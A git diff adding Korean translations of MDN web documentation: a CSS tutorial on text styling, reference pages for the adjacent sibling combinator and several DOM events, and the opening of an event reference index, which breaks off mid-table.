+<p>CSS는 몇가지 텍스트 스타일에 대한 속성이 있다.</p>
+
+<p>여러가지에 대해 한번에 편리하게 사용할 수 있는 {{ cssxref("font") }}라는 속성에 대해 알아보자. 예를 들면</p>
+
+<ul>
+ <li>굵게, 기울기, 작은 대문자체</li>
+ <li>크기</li>
+ <li>라인 높이</li>
+ <li>글씨체</li>
+</ul>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<pre class="brush:css">p {font: italic 75%/125% "Comic Sans MS", cursive;}
+</pre>
+
+<p>위의 규칙은 모든 단락내용을 italic폰트로 설정 하는 등의 다양한 설정을 한다.</p>
+
+<p>폰트 크기를 부모 element의 단락 크기의 3/4크기로 하고 라인 크기를 보통보다 좀 큰 125%크기로 한다.</p>
+
+<p>글자체는 Comic Sans MS이다. 하지만 이 글씨체가 유효하지 않다면 브라우저는 기본 글씨체인 손글씨체를 사용 할 것이다.</p>
+
+<p>이 규칙에는 굵기와 작은 대문자 속성을 무력화 하는 오류를 포함하고 있다.</p>
+</div>
+
+<h3 id="글씨체">글씨체</h3>
+
+<p>보통 Document에서 가용한 글씨체에는 어떤 것이 있는지 알고 작성할 수는 없다. 대체 가능한 글씨체를 같이 설정 해 주는 것도 좋은 방법이다.</p>
+
+<p>맨 마지막에는 기본 글씨체<code>(serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code> or <code>monospace</code>)를 추가 설정 해 주는 것이 좋다.</p>
+
+<p>만약 document에서 지원 하지 않는 글씨체라면 브라우저가 다른 글씨체로 대체 할 것이다. 예를 들면, Document내에는 설정된 글씨체에서 지원 되지 않는 특수 문자를 포함 하는 경우 같은 것을 말한다. 브라우저는 자동적으로 다른 글씨체에서 위의 특수문자를 지원 한다면 그 글씨체를 사용하여 표시 할 것이다.</p>
+
+<p>글씨체를 설정 하기 위해서는 {{ cssxref("font-family") }}속성을 사용 하라.</p>
+
+<h3 id="글씨_크기">글씨 크기</h3>
+
+<p>브라우저는 보여지고 있는 페이지의 기본 글씨체의 크기와 텍스트의 크기를 바꿀 수 있어서 사용자에 맞는 것을 사용 할 수 있게 해준다.</p>
+
+<p><code>폰트 크기는 small, medium, large등 정해진 사이즈도 사용할 수 있다</code>. 또한 부모 글씨체 크기와 비교된(smaller, larger, 150%, 1.5 em) 값으로 설정 가능하다. 'em'은 'm'자의 폭을 말한다. 따라서 부모 element보다 1.5배 크기의 글씨크기를 말한다.</p>
+
+<p><code>14px</code> (14 pixels)와 같이 표시장치나 출력장치의 실체 크기로 지정 할 수도 있다. 이 경우는 크기를 바꿀수 없으므로 시각장애인들에게 불편할 수 있다. 이런 경우를 위해서는 document의 최 상위 element에서부터 정해진 크기 값중 하나인 'medium'으로 해 놓으면 하위 element는 그와 비교해 상대적인 값으로 크기를 설정 할 수 있다.</p>
+
+<p>글씨 크기를 설정 하려면 {{ cssxref("font-size") }}를 사용하라.</p>
+
+<h3 id="줄_높이">줄 높이</h3>
+
+<p>Line height는 줄간 높이를 말한다. 단락이 여러줄로 구성되었다면 보통보다 큰(larger-than-normal) 간격이 특히 작은 글씨라면 읽기 편하다.</p>
+
+<p>줄 높이 설정은 {{ cssxref("line-height") }}속성을 사용하라.</p>
+
+<h3 id="장식(Decoration)">장식(Decoration)</h3>
+
+<p>별도의 {{ cssxref("text-decoration") }} 속성으로 밑줄, 취소선 같은 다른 스타일 설정 할 수 있다. 설정된 장식(Decoration)속성을 없애기 위해서 값을 none을 쓸 수 있다.</p>
+
+<h3 id="다른_속성">다른 속성</h3>
+
+<p>기울기 속성 {{ cssxref("font-style") }}<code>: italic;</code><br>
+ 굵은 속성 <code>{{ cssxref("font-weight") }}: bold;</code><br>
+ 작은 대문자 <code>{{ cssxref("font-variant") }}: small-caps;</code></p>
+
+<p>위의 속성을 해제하려면 <code>normal</code> 또는 <code>inherit</code>로 설정하라.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>텍스트 스타일은 다양한 방법으로 설정 가능하다.</p>
+
+<p>예를 들면, 위에 언급한 속성들에 다른 사용 가능한 값들이 더 있다.</p>
+
+<p>복잡한 stylesheet에서는, 원치 않는 오류(설정 값이 다르게 나타나는 오류) 방지를 위해 약칭 <code>font 속성 사용을 피하라.</code></p>
+
+<p>글씨체에 관한 모든 속성을 보려면, CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/fonts.html">Fonts</a>부분을 보라. 다양한 텍스트 효과를 위해서는 <a class="external" href="http://www.w3.org/TR/CSS21/text.html">Text</a> 부분을 참고 하라.</p>
+
+<p>사용자 시스템 환경에 설치된 폰트 외에 다른 폰트를 설정하려면 <a href="/en/css/@font-face" title="https://developer.mozilla.org/en/css/@font-face">@font-face</a>로 온라인에 있는 폰트 설정 할 수 있다. 이를 위해서는 브라우저에서 해당 규칙을 지원해야 한다.</p>
+</div>
+
+<h2 id="액션_글씨체_설정">액션: 글씨체 설정</h2>
+
+<p>간단한 document에서는, {{ HTMLElement("body") }} element의 글씨체를 설정 할 수 있으며, 그 이후에서는 이 속성을 상속한다.</p>
+
+<ol>
+ <li>예제 CSS 편집 해 보자.</li>
+ <li>예제의 Document에 아래 규칙을 추가 하라. CSS파일의 위쪽은 논리적인 곳(?)이다. 하지만 어디에 추가하든 그 속성은 적용 될 것이다.
+ <pre class="eval">body {font: 16px "Comic Sans MS", cursive;}
+</pre>
+ </li>
+ <li>주석을 탭이나 공백과 함께 잘 배치해 보라.</li>
+ <li>저장하고 브라우저를 다시 읽어보라. 해당 기기에 italic 스타일이 지원되지 않는 Comic Sans MS나 손글씨체 글씨체가 있다면 브라우저는 다음 예제의 첫출과 같이 italic이 지원되는 다른 글씨체로 바꿔서 보여 줄 것이다.
+ <table style="border: 2px outset #36b; padding: 1em;">
+ <tbody>
+ <tr>
+ <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+ </tr>
+ <tr>
+ <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+ <li>브라우저 메뉴에서 <strong>View &gt; Text Size &gt; Increase</strong> (or <strong>View &gt; Zoom &gt; Zoom In</strong>)을 선택 해 보라. 위에 16 pixels로 스타일 속성을 주었더라도, 화면에는 그 글씨 크기가 바뀔 것이다.</li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+
+<p>다른것은 그대로 두고, 단어 앞 첫 글자 6개만 기본 sarif글씨체로 바꾸고 브라우저 기본 사이즈의 2배 크기로 변경 해 보라.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: green; font: 200% serif;">S</strong>tyle <strong style="color: green; font: 200% serif;">S</strong>heets</td>
+ </tr>
+ <tr>
+ <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: red; font: 200% serif;">S</strong>tyle <strong style="color: red; font: 200% serif;">S</strong>heets</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Add the following style declaration to the <code>strong</code> rule:</p>
+
+<pre class="brush: css"> font: 200% serif;
+</pre>
+If you use separate declarations for <code>font-size</code> and <code>font-family</code>, then the <code>font-style</code> setting on the first paragraph is <em>not</em> overridden.
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">정답 확인</a></div>
+
+<h2 id="다음에는">다음에는?</h2>
+
+<p>{{nextPage("/en-US/docs/CSS/Getting_Started/Color", "색상")}}이미 예제에서 몇가지 색상을 사용 해 왔다. <a href="/en-US/docs/CSS/Getting_Started/Color" title="/en-US/docs/CSS/Getting_Started/Color">다음 장에서는</a> 기본 색생과 다른 색상 표현 법에 대해 알아본다.</p>
diff --git a/files/ko/web/css/인접_형제_선택자/index.html b/files/ko/web/css/인접_형제_선택자/index.html
new file mode 100644
index 0000000000..4446172ab3
--- /dev/null
+++ b/files/ko/web/css/인접_형제_선택자/index.html
@@ -0,0 +1,83 @@
+---
+title: 인접 형제 결합자
+slug: Web/CSS/인접_형제_선택자
+tags:
+ - CSS
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Adjacent_sibling_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><strong>인접 형제 결합자</strong>(<code>+</code>)는 앞에서 지정한 요소의 <strong>바로 다음</strong>에 위치하는 형제 요소만 선택합니다.</p>
+
+<pre class="brush: css">/* Paragraphs that come immediately after any image */
+img + p {
+ font-weight: bold;
+}
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">former_element + target_element { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li:first-of-type + li {
+ color: red;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;One&lt;/li&gt;
+ &lt;li&gt;Two!&lt;/li&gt;
+ &lt;li&gt;Three&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.selectors.adjacent_sibling")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/General_sibling_combinator">일반 형제 결합자</a></li>
+</ul>
diff --git a/files/ko/web/events/abort/index.html b/files/ko/web/events/abort/index.html
new file mode 100644
index 0000000000..c7295a54a7
--- /dev/null
+++ b/files/ko/web/events/abort/index.html
@@ -0,0 +1,73 @@
+---
+title: abort
+slug: Web/Events/abort
+tags:
+ - DOM
+ - Event
+ - Reference
+ - 레퍼런스
+ - 이벤트
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<p><strong><code>abort</code></strong> 이벤트는 리소스의 로딩이 중단되었을 때, 발생합니다.</p>
+
+<h2 id="개요">개요</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">스펙</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">인터페이스</dt>
+ <dd style="margin: 0 0 0 120px;">유저 인터페이스에서 발생하면 UIEvent, 그렇지 않으면 Event.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">버블</dt>
+ <dd style="margin: 0 0 0 120px;">안됨</dd>
+ <dt style="float: left; text-align: right; width: 120px;">취소 가능</dt>
+ <dd style="margin: 0 0 0 120px;">안됨</dd>
+ <dt style="float: left; text-align: right; width: 120px;">타겟</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">디폴트 액션</dt>
+ <dd style="margin: 0 0 0 120px;">없음</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">속성</th>
+ <th scope="col">타입</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+ <td>이벤트 타겟 (DOM tree의 최상위 타겟).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+ <td>이벤트의 타입</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+ <td>이벤트가 버블링 되는지 안되는지</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+ <td>이벤트가 취소 가능한지 아닌지</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+ <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (document의 <code>window</code> )</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td><code>long</code> (<code>float</code>)</td>
+ <td>0.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/events/blur/index.html b/files/ko/web/events/blur/index.html
new file mode 100644
index 0000000000..3bbcc6acb0
--- /dev/null
+++ b/files/ko/web/events/blur/index.html
@@ -0,0 +1,154 @@
+---
+title: blur
+slug: Web/Events/blur
+translation_of: Web/API/Element/blur_event
+---
+<p><code>blur</code> 이벤트는 엘리먼트의 포커스가 해제되었을때 발생합니다. 이 이벤트와 <code><a href="/en-US/docs/Mozilla_event_reference/focusout">focusout</a></code> 이벤트의 가장 다른점은 <code><a href="/en-US/docs/Mozilla_event_reference/focusout">focusout</a></code> 은 이벤트 버블링이 발생합니다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<p>{{NoteStart}} 이 이벤트가 처리될때 {{domxref("Document.activeElement")}}의 값이 브라우저마다 다릅니다 ({{bug(452307)}}): IE10은 이 값을 포커스가 옮겨가는 엘리먼트에 추가하지만, 파이어폭스와 크롬은 도큐먼트의 <code>body</code> 에 추가합니다.{{NoteEnd}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td>Event target (DOM element)</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event normally bubbles or not.</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event is cancellable or not.</td>
+ </tr>
+ <tr>
+ <td><code>relatedTarget</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}} (DOM element)</td>
+ <td>null</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="이벤트_위임">이벤트 위임</h2>
+
+<p>이 이벤트에 이벤트 위임을 적용하는 방법은 두가지가 있습니다 : 브라우저가 지원한다면 <code>focusout</code> 이벤트를 사용하거나,   <code><a href="/en-US/docs/DOM/element.addEventListener">addEventListener</a></code>의 "useCapture" 파라미터를 <code>true</code>로 설정하세요:</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush:html;">&lt;form id="form"&gt;
+  &lt;input type="text" placeholder="text input"&gt;
+  &lt;input type="password" placeholder="password"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">var form = document.getElementById("form");
+form.addEventListener("focus", function( event ) {
+ event.target.style.background = "pink";
+}, true);
+form.addEventListener("blur", function( event ) {
+ event.target.style.background = "";
+}, true);</pre>
+
+<p>{{EmbedLiveSample('Event_delegation')}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>5</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+ <td>6</td>
+ <td>12.1</td>
+ <td>5.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>53</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.0</td>
+ <td>12.1</td>
+ <td>5.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 24 {{geckoRelease(24)}} the interface for this event was {{domxref("Event")}}, not {{domxref("FocusEvent")}}. See ({{bug(855741)}}).</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/ko/web/events/chargingchange/index.html b/files/ko/web/events/chargingchange/index.html
new file mode 100644
index 0000000000..e957315849
--- /dev/null
+++ b/files/ko/web/events/chargingchange/index.html
@@ -0,0 +1,66 @@
+---
+title: chargingchange
+slug: Web/Events/chargingchange
+tags:
+ - Event
+ - events
+translation_of: Archive/Events/chargingchange
+---
+<p><code>chargingchange</code> 이벤트<code>는 </code><a href="/en-US/docs/DOM/window.navigator.battery">battery API</a> 의 <code>charging 속성이 변할때 발생 합니다.</code></p>
+
+<h2 id="기본_정보">기본 정보</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;"><code>navigator.battery</code></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<p>The event callback doesn't receive any event objects, but properties can be read from the {{domxref("BatteryManager")}} object received from the {{domxref("navigator.getBattery")}} method.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Property</td>
+ <td class="header">Type</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td>{{domxref("BatteryManager.charging")}}</td>
+ <td>boolean</td>
+ <td>The system's battery charging status. Returns <code>true</code> if the battery is charging, if the state of the system's battery is not determinable, or if no battery is attached to the system. Returns <code>false</code> if the battery is discharging. Read only.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">navigator.getBattery().then(function(battery) {
+
+ console.log("Battery charging? " + battery.charging ? "Yes" : "No");
+
+ battery.addEventListener('chargingchange', function() {
+ console.log("Battery charging? " + battery.charging ? "Yes" : "No");
+ });
+
+});
+</pre>
+
+<h2 id="관계_된_이벤트">관계 된 이벤트</h2>
+
+<ul>
+ <li>{{Event("chargingtimechange")}}</li>
+ <li>{{Event("dischargingtimechange")}}</li>
+ <li>{{Event("levelchange")}}</li>
+</ul>
diff --git a/files/ko/web/events/domcontentloaded/index.html b/files/ko/web/events/domcontentloaded/index.html
new file mode 100644
index 0000000000..24db56aa91
--- /dev/null
+++ b/files/ko/web/events/domcontentloaded/index.html
@@ -0,0 +1,77 @@
+---
+title: DOMContentLoaded
+slug: Web/Events/DOMContentLoaded
+tags:
+ - Event
+ - Reference
+ - Web
+ - Window
+translation_of: Web/API/Window/DOMContentLoaded_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>DOMContentLoaded</code></strong> 이벤트는 초기 HTML 문서를 완전히 불러오고 분석했을 때 발생합니다. 스타일 시트, 이미지, 하위 프레임의 로딩은 기다리지 않습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">확산</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">취소 가능</th>
+ <td>예 (although specified as a simple event that isn't cancelable)</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("Event")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 처리기 속성</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>DOMContentLoaded</code>의 원본 대상은 다 불러온 {{domxref("Document")}}입니다. You can listen for this event on the <code>Window</code> interface to handle it in the capture or bubbling phases. For full details on this event please see the page on the Document: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}} event.</p>
+
+<p>A different event, {{domxref("Window/load_event", "load")}}, should be used only to detect a fully-loaded page. It is a common mistake to use <code>load</code> where <code>DOMContentLoaded</code> would be more appropriate.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_용도">기본 용도</h3>
+
+<pre class="brush: js notranslate">window.addEventListener('DOMContentLoaded', (event) =&gt; {
+ console.log('DOM fully loaded and parsed');
+});
+</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상태</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'indices.html#event-domcontentloaded')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.DOMContentLoaded_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Related events: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}</li>
+ <li>This event on {{domxref("Document")}} targets: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}</li>
+</ul>
diff --git a/files/ko/web/events/domsubtreemodified/index.html b/files/ko/web/events/domsubtreemodified/index.html
new file mode 100644
index 0000000000..b40ee6b069
--- /dev/null
+++ b/files/ko/web/events/domsubtreemodified/index.html
@@ -0,0 +1,17 @@
+---
+title: DOMSubtreeModified
+slug: Web/Events/DOMSubtreeModified
+translation_of: Archive/Events/DOMSubtreeModified
+---
+<p>{{ draft() }}</p>
+
+<h3 id="Example" name="Example">예제</h3>
+
+<p>아래 코드는 마지막으로 DOM 이 변경된 시간을 페이지의 title 에 표시합니다.</p>
+
+<div class="warning">해당 이벤트 핸들러 안에서 DOM 을 변경할 경우 무한 루프에 빠지기 쉬우므로 매우 신중해야 합니다.</div>
+
+<pre class="brush: js">document.body.addEventListener('DOMSubtreeModified', function () {
+  document.title = 'DOM Changed at ' + new Date();
+}, false);
+</pre>
diff --git a/files/ko/web/events/index.html b/files/ko/web/events/index.html
new file mode 100644
index 0000000000..0d4193893f
--- /dev/null
+++ b/files/ko/web/events/index.html
@@ -0,0 +1,3114 @@
+---
+title: 이벤트 참조
+slug: Web/Events
+tags:
+ - Event
+ - Overview
+ - Reference
+translation_of: Web/Events
+---
+<p>DOM 이벤트는 발생한 흥미로운 것을 코드에 알리기 위해 전달됩니다. 각 이벤트는 {{DOMxRef("Event")}} 인터페이스를 기반으로한 객체에 의해 표현되며 발생한 것에 대한 부가적인 정보를 얻는데 사용되는 추가적인 커스텀 필드 또는 함수를 가질수도 있습니다. 이벤트는 렌더링 모델에서 기본적인 사용자 인터렉션부터 발생한 것에대한 자동 알림까지 모든 것을 나타낼 수 있습니다.</p>
+
+<p>이 글은 전달될 수 있는 이벤트의 목록을 제공합니다. 일부는 공식 명세에 정의된 표준 이벤트이며, 다른 일부는 특정 브라우저에서 내부적으로 사용되는 이벤트입니다. 예로, Mozilla 특정 이벤트는 <a href="https://developer.mozilla.org/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4">부가 기능</a>이 브라우저와 상호작용하기 위해 나열되었습니다.</p>
+
+<h2 id="가장_일반적인_카테고리">가장 일반적인 카테고리</h2>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="리소스_이벤트">리소스 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("cached")}}</td>
+ <td>매니페스트에 나열된 리소스가 다운로드되었고, 애플리케이션이 캐시될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>리소스 로드가 실패했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("abort")}}</td>
+ <td>리소스 로딩이 중단되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("load")}}</td>
+ <td>리소스와 그 의존 리소스의 로딩이 끝났을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("beforeunload")}}</td>
+ <td>window, document 및 그 리소스가 언로드되려고 할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("unload")}}</td>
+ <td>document 또는 의존 리소스가 언로드될 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="네트워크_이벤트">네트워크 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("online")}}</td>
+ <td>브라우저가 네트워크 접근을 얻었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("offline")}}</td>
+ <td>브라우저가 네트워크 접근을 잃었을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="포커스_이벤트">포커스 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("focus")}}</td>
+ <td>엘리먼트가 포커스를 받았을 때(버블링하지 않음).</td>
+ </tr>
+ <tr>
+ <td>{{Event("blur")}}</td>
+ <td>엘리먼트가 포커스를 잃었을 때(버블링하지 않음).</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="웹소켓_이벤트">웹소켓 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
